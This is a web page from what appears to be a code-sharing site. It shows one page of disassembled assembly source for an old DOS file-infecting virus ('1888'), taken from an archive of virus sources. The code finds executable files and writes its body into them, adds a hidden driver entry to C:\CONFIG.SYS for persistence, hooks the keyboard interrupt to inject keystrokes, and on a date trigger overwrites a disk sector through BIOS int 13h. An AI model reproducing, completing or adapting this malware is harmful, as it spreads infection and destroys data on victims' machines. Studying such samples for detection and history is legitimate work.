1888.asm

来自「More than 800 virus code (old school) ju」· 汇编 代码 · 共 1,924 行 · 第 1/4 页

ASM
1,924
字号
		pop	dx
		mov	ax,di
		add	ax,si
		add	ax,100h
		cmp	ax,200h
		jb	loc_040B		; Jump if below
		and	ax,1FFh
		inc	dx
loc_040B:
		mov	cl,4
		shr	ax,cl			; Shift w/zeros fill
		dec	dx
		mov	cl,5
		shl	dx,cl			; Shift w/zeros fill
		sub	dx,ds:d_9E01_0008_e
		add	ax,dx
		sub	ax,10h
		mov	ds:d_9E01_0016_e,ax
		mov	word ptr ds:d_9E01_0014_e,100h
		push	ds
		mov	ax,cs
		mov	ds,ax
		mov	cx,data_011C
		mov	dx,100h
		mov	ah,40h			; '@'
		int	21h			; DOS Services  ah=function 40h
						;  write file  bx=file handle
						;   cx=bytes from ds:dx buffer
		pop	ds
		jc	loc_0455		; Jump if carry Set
		call	sub_0457
		mov	ds:d_9E01_0002_e,di
		mov	ds:d_9E01_0004_e,ax
		mov	ax,4200h
		xor	dx,dx			; Zero register
		xor	cx,cx			; Zero register
		int	21h			; DOS Services  ah=function 42h
						;  move file ptr, bx=file handle
						;   al=method, cx,dx=offset
		jc	loc_0455		; Jump if carry Set
		mov	cx,100h
		mov	ah,40h			; '@'
		int	21h			; DOS Services  ah=function 40h
						;  write file  bx=file handle
						;   cx=bytes from ds:dx buffer
loc_0455:
		pop	ds
		retn
sub_03BB	endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_0457	proc	near
		mov	ax,4202h
		xor	cx,cx			; Zero register
		xor	dx,dx			; Zero register
		int	21h			; DOS Services  ah=function 42h
						;  move file ptr, bx=file handle
						;   al=method, cx,dx=offset
		mov	di,ax
		and	di,1FFh
		mov	cl,9
		shr	ax,cl			; Shift w/zeros fill
		mov	cl,7
		shl	dx,cl			; Shift w/zeros fill
		add	ax,dx
		inc	ax
		retn
sub_0457	endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_0472	proc	near
		mov	ax,data_0108
		mov	data_0120,ax
		mov	cx,data_011C
		cmp	cx,ax
		jb	loc_0488		; Jump if below
		mov	data_0120,cx
		mov	cx,data_0108
loc_0488:
		push	ds
		mov	ax,word ptr data_012C+2
		mov	ds,ax
		xor	dx,dx			; Zero register
		mov	ah,3Fh			; '?'
		int	21h			; DOS Services  ah=function 3Fh
						;  read file, bx=file handle
						;   cx=bytes to ds:dx buffer
		pop	ds
		jc	loc_ret_04DD		; Jump if carry Set
		mov	ax,4200h
		xor	dx,dx			; Zero register
		xor	cx,cx			; Zero register
		int	21h			; DOS Services  ah=function 42h
						;  move file ptr, bx=file handle
						;   al=method, cx,dx=offset
		jc	loc_ret_04DD		; Jump if carry Set
		mov	dx,100h
		mov	cx,data_011C
		mov	ah,40h			; '@'
		int	21h			; DOS Services  ah=function 40h
						;  write file  bx=file handle
						;   cx=bytes from ds:dx buffer
		int	3			; Debug breakpoint
		cmp	ax,cs:data_0108
		ja	loc_04CC		; Jump if above
		mov	ax,4200h
		mov	dx,data_0108
		mov	data_0120,dx
		xor	cx,cx			; Zero register
		int	21h			; DOS Services  ah=function 42h
						;  move file ptr, bx=file handle
						;   al=method, cx,dx=offset
		jc	loc_ret_04DD		; Jump if carry Set
		mov	cx,data_011C
		jmp	short loc_04D0
loc_04CC:
		mov	cx,data_0108
loc_04D0:
		push	ds
		mov	ax,word ptr data_012C+2
		mov	ds,ax
		xor	dx,dx			; Zero register
		mov	ah,40h			; '@'
		int	21h			; DOS Services  ah=function 40h
						;  write file  bx=file handle
						;   cx=bytes from ds:dx buffer
		pop	ds

loc_ret_04DD:
		retn
sub_0472	endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_04DE	proc	near
		cmp	data_011B,2
		ja	loc_04E8		; Jump if above
		xor	ax,ax			; Zero register
		retn
loc_04E8:
		mov	al,data_0133
		and	al,1
		retn
sub_04DE	endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_04EE	proc	near
		cmp	data_0133,0Fh
		jb	loc_0507		; Jump if below
		mov	al,data_0135
		cmp	al,13h
		jb	loc_0507		; Jump if below
		mov	ax,40h
		mov	es,ax
		mov	byte ptr es:d_0040_004A_e,23h	; '#'
loc_0507:
		cmp	data_0133,0Dh
		jne	loc_ret_0524		; Jump if not equal
		cmp	data_0134,5
		jne	loc_ret_0524		; Jump if not equal
		mov	ax,301h
		mov	cx,1
		mov	dx,50h
		xor	bx,bx			; Zero register
		mov	es,bx
		int	13h			; Disk  dl=drive ?  ah=func 03h
						;  write sectors from mem es:bx
						;   al=#,ch=cyl,cl=sectr,dh=head

loc_ret_0524:
		retn
sub_04EE	endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_0525	proc	near
		mov	data_019B,1
		lea	dx,data_05C1		; Load effective addr
		mov	cx,27h
		mov	ah,4Eh			; 'N'
		int	21h			; DOS Services  ah=function 4Eh
						;  find 1st filenam match @ds:dx
		jnc	loc_0564		; Jump if carry=0
		mov	ah,3Ch			; '<'
		mov	cx,6
		int	21h			; DOS Services  ah=function 3Ch
						;  create/truncate file @ ds:dx
		mov	bx,ax
		lea	dx,data_05EE		; Load effective addr
		mov	cx,data_070A
		mov	si,dx
		add	si,data_00B3_e
		mov	ax,data_0130
		mov	[si],ax
		mov	ah,data_0132
		mov	[si+2],ah
		mov	ah,40h			; '@'
		int	21h			; DOS Services  ah=function 40h
						;  write file  bx=file handle
						;   cx=bytes from ds:dx buffer
		mov	ah,3Eh			; '>'
		int	21h			; DOS Services  ah=function 3Eh
						;  close file, bx=file handle
		jc	loc_05BD		; Jump if carry Set
loc_0564:
		lea	dx,data_05C7		; Load effective addr
		mov	cx,27h
		mov	ah,4Eh			; 'N'
		int	21h			; DOS Services  ah=function 4Eh
						;  find 1st filenam match @ds:dx
		jc	loc_05BD		; Jump if carry Set
		call	sub_036C
		xor	cx,cx			; Zero register
		mov	ax,4301h
		int	21h			; DOS Services  ah=function 43h
						;  set attrb cx, filename @ds:dx
		mov	ax,3D02h
		int	21h			; DOS Services  ah=function 3Dh
						;  open file, al=mode,name@ds:dx
		mov	bx,ax
		jc	loc_05BD		; Jump if carry Set
		mov	cx,data_0108
		push	es
		push	ds
		mov	ax,word ptr data_012C+2
		mov	ds,ax
		mov	es,ax
		xor	dx,dx			; Zero register
		mov	ah,3Fh			; '?'
		int	21h			; DOS Services  ah=function 3Fh
						;  read file, bx=file handle
						;   cx=bytes to ds:dx buffer
		pop	ds
		mov	dx,ax
		mov	ax,0FFFFh
		xor	di,di			; Zero register
		repne	scasb			; Rep zf=0+cx >0 Scan es:[di] for al
		cmp	ax,es:[di-1]
		pop	es
		jz	loc_05BD		; Jump if zero
		mov	ax,4200h
		xor	cx,cx			; Zero register
		dec	dx
		int	21h			; DOS Services  ah=function 42h
						;  move file ptr, bx=file handle
						;   al=method, cx,dx=offset
		jc	loc_05BD		; Jump if carry Set
		lea	dx,data_05D5		; Load effective addr
		mov	cx,19h
		mov	ah,40h			; '@'
		int	21h			; DOS Services  ah=function 40h
						;  write file  bx=file handle
						;   cx=bytes from ds:dx buffer
loc_05BD:
		call	sub_037D
		retn
sub_0525	endp

data_05C1	db	43h
		db	 3Ah, 5Ch,0FFh,0FFh, 00h
data_05C7	db	'C:\CONFIG.SYS', 0
data_05D5	db	'DEVICE ='
		db	0FFh,0FFh
		db	' COUNTRY.SYS', 0Dh, 0Ah
		db	1Ah
data_05EE	db	0FFh
		db	0FFh,0FFh,0FFh, 40h,0C8h, 16h
		db	 00h, 21h, 00h
		db	'hgt42   '
		db	 00h, 00h, 00h, 00h, 2Eh, 89h
		db	 1Eh, 12h, 00h, 2Eh, 8Ch, 06h
		db	 14h, 00h,0CBh, 1Eh, 06h, 0Eh
		db	 1Fh,0C4h, 3Eh, 12h, 00h, 26h
		db	 8Ah, 45h, 02h, 3Ch, 00h, 75h
		db	 03h,0E8h, 82h, 00h
		db	 0Dh, 00h, 10h, 26h, 89h, 45h
		db	 03h, 07h, 1Fh,0CBh, 50h, 53h
		db	 51h, 1Eh
		db	0E4h, 60h,0A8h, 80h, 75h, 30h
		db	 2Eh, 8Bh, 1Eh,0A9h, 00h, 3Ah
		db	0C7h, 75h, 27h,0B8h, 40h, 00h
		db	 8Eh,0D8h,0E8h, 28h, 00h, 25h
		db	 05h, 00h, 8Bh,0C8h
		db	0BBh, 1Ch, 00h

locloop_064F:
		mov	ax,cs:data_00A9_e
		mov	[bx],ax
		add	bx,2
		cmp	bx,3Fh
		jb	loc_0660		; Jump if below
		mov	bx,1Eh
loc_0660:
		mov	word ptr ds:[1Ch],bx
		loop	locloop_064F		; Loop if cx > 0

loc_0666:
		pop	ds
		pop	cx
		pop	bx
		pop	ax
		jmp	dword ptr cs:data_00A3_e

;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_066F	proc	near
		mov	ax,cs:data_00A7_e
		push	ax
		and	ah,0B4h
		pop	ax
		jp	loc_067B		; Jump if parity=1
		stc				; Set carry flag
loc_067B:
		rcl	ax,1			; Rotate thru carry
		mov	cs:data_00A7_e,ax
		retn
sub_066F	endp

		db	'hgt42   '
		db	 00h, 56h, 31h, 00h, 46h, 52h
		db	 44h, 00h, 00h, 00h, 00h, 00h
		db	 00h, 65h, 12h, 65h, 73h, 74h
		db	 6Eh, 12h, 1Fh, 14h, 31h,0CDh
		db	0ABh,0EFh
		db	 06h, 57h,0B4h, 2Ah,0CDh, 21h
		db	 8Ah,0E6h, 3Bh, 0Eh,0B3h, 00h
		db	 74h, 03h, 80h,0C4h
		db	0Ch
loc_06B5:
		sub	ah,ds:data_00B5_e
		cmp	ah,3
		jb	loc_06FB		; Jump if below
		mov	ds:data_00B5_e,dh
		mov	ds:data_00B3_e,cx
		mov	ah,2Ch			; ','
		int	21h			; DOS Services  ah=function 2Ch
						;  get time, cx=hrs/min, dx=sec
		mov	ds:data_00A7_e,dx
		call	sub_066F
		mov	bx,ax
		and	bx,3
		nop				;*ASM fixup - sign extn byte
		mov	al,ds:data_00AB_e[bx]
		mov	ah,ds:data_00AF_e[bx]
		mov	ds:data_00A9_e,ax
		mov	ax,3516h
		int	21h			; DOS Services  ah=function 35h
						;  get intrpt vector al in es:bx
		mov	ds:data_00A3_e,bx
		mov	bx,es
		mov	word ptr ds:data_00A3_e+2,bx
		cli				; Disable interrupts
;*		mov	dx,offset loc_003E	;*
		db	0BAh, 3Eh, 00h
		mov	ax,2516h
		int	21h			; DOS Services  ah=function 25h
						;  set intrpt vector al to ds:dx
		sti				; Enable interrupts
loc_06FB:
		pop	di
		pop	es
		mov	word ptr es:[di+0Eh],0B6h
		mov	es:[di+10h],cs
		xor	ax,ax			; Zero register
		retn
data_070A	dw	11Ch
data_070C	db	8Bh
		db	 1Eh, 28h, 01h,0A1h, 26h, 01h
		db	 8Eh,0D0h, 8Bh, 26h, 24h, 01h
		dw	0EC83h, 8B04h
		dw	80F4h, 1F3Eh
		dw	1, 2875h
		dw	0BFh, 3601h
		dw	3C89h, 0FB8Bh
		dw	8936h, 27Ch
		dw	0FF33h, 8936h
		dw	47Ch, 0BFh
		dw	8B01h, 2236h
		dw	301h, 8BF7h
		dw	1C0Eh, 8C01h
		dw	8ED8h, 0F3C0h
		dw	0EBA4h, 9016h
		db	 8Bh,0FBh, 83h,0C7h, 10h,0A1h
		db	 16h, 00h, 03h,0F8h, 36h, 89h
		db	 7Ch, 02h, 8Bh, 3Eh, 14h, 00h
		db	 36h, 89h
		db	3Ch
		db	 8Eh,0DBh, 8Eh,0C3h,0CBh
loc_0767:
		mov	ax,ss
		mov	cs:data_0126,ax
		mov	cs:data_0124,sp
		mov	ax,cs
		mov	ss,ax
		mov	sp,1F7h
		push	ds
		mov	ds,ax
		pop	ax
		mov	data_0128,ax
		call	sub_0269
		mov	ax,cs
		mov	es,ax
		call	sub_01F7
		mov	dx,offset data_019D
		mov	ah,1Ah
		int	21h			; DOS Services  ah=function 1Ah
						;  set DTA(disk xfer area) ds:dx
		call	sub_02AF
		call	sub_02A5
		jnc	loc_079C		; Jump if carry=0
		jmp	loc_083A
loc_079C:
		call	sub_0227
		jc	loc_07A4		; Jump if carry Set
		jmp	loc_083A
loc_07A4:
		call	sub_023A
		call	sub_02D0
		mov	data_011E,0
loc_07AF:
		call	sub_0355
		jc	loc_0800		; Jump if carry Set
loc_07B4:
		cmp	data_019C,4
		ja	loc_083A		; Jump if above
		call	sub_036C
		call	sub_034D
		jnc	loc_07FA		; Jump if carry=0
		cmp	data_010A,4
		ja	loc_07FA		; Jump if above
		call	sub_03A6
		jc	loc_083A		; Jump if carry Set
		cmp	data_011E,0
		je	loc_07DB		; Jump if equal
		call	sub_03BB
		jmp	short loc_07DE
loc_07DB:
		call	sub_0472
loc_07DE:
		call	sub_037D
		jc	loc_083A		; Jump if carry Set
		inc	data_019C
		cmp	data_019B,1
		je	loc_07FA		; Jump if equal
		call	sub_04DE
		jz	loc_07FA		; Jump if zero
		call	sub_0525
		jc	loc_083A		; Jump if carry Set
		jmp	short loc_07AF
loc_07FA:
		mov	ah,4Fh			; 'O'
		int	21h			; DOS Services  ah=function 4Fh
						;  find next filename match
		jnc	loc_07B4		; Jump if carry=0
loc_0800:
		cmp	data_011E,1
		je	loc_080E		; Jump if equal
		mov	data_011E,1
		jmp	short loc_07AF
loc_080E:
		mov	data_011E,0

⌨️ 快捷键说明

复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?